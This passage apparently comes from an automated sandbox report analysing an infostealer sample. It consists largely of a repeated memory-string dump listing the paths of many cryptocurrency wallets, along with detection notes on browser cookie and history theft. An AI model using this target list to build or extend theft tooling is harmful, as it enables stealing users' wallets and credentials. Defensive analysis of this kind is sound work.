Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2638083639.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
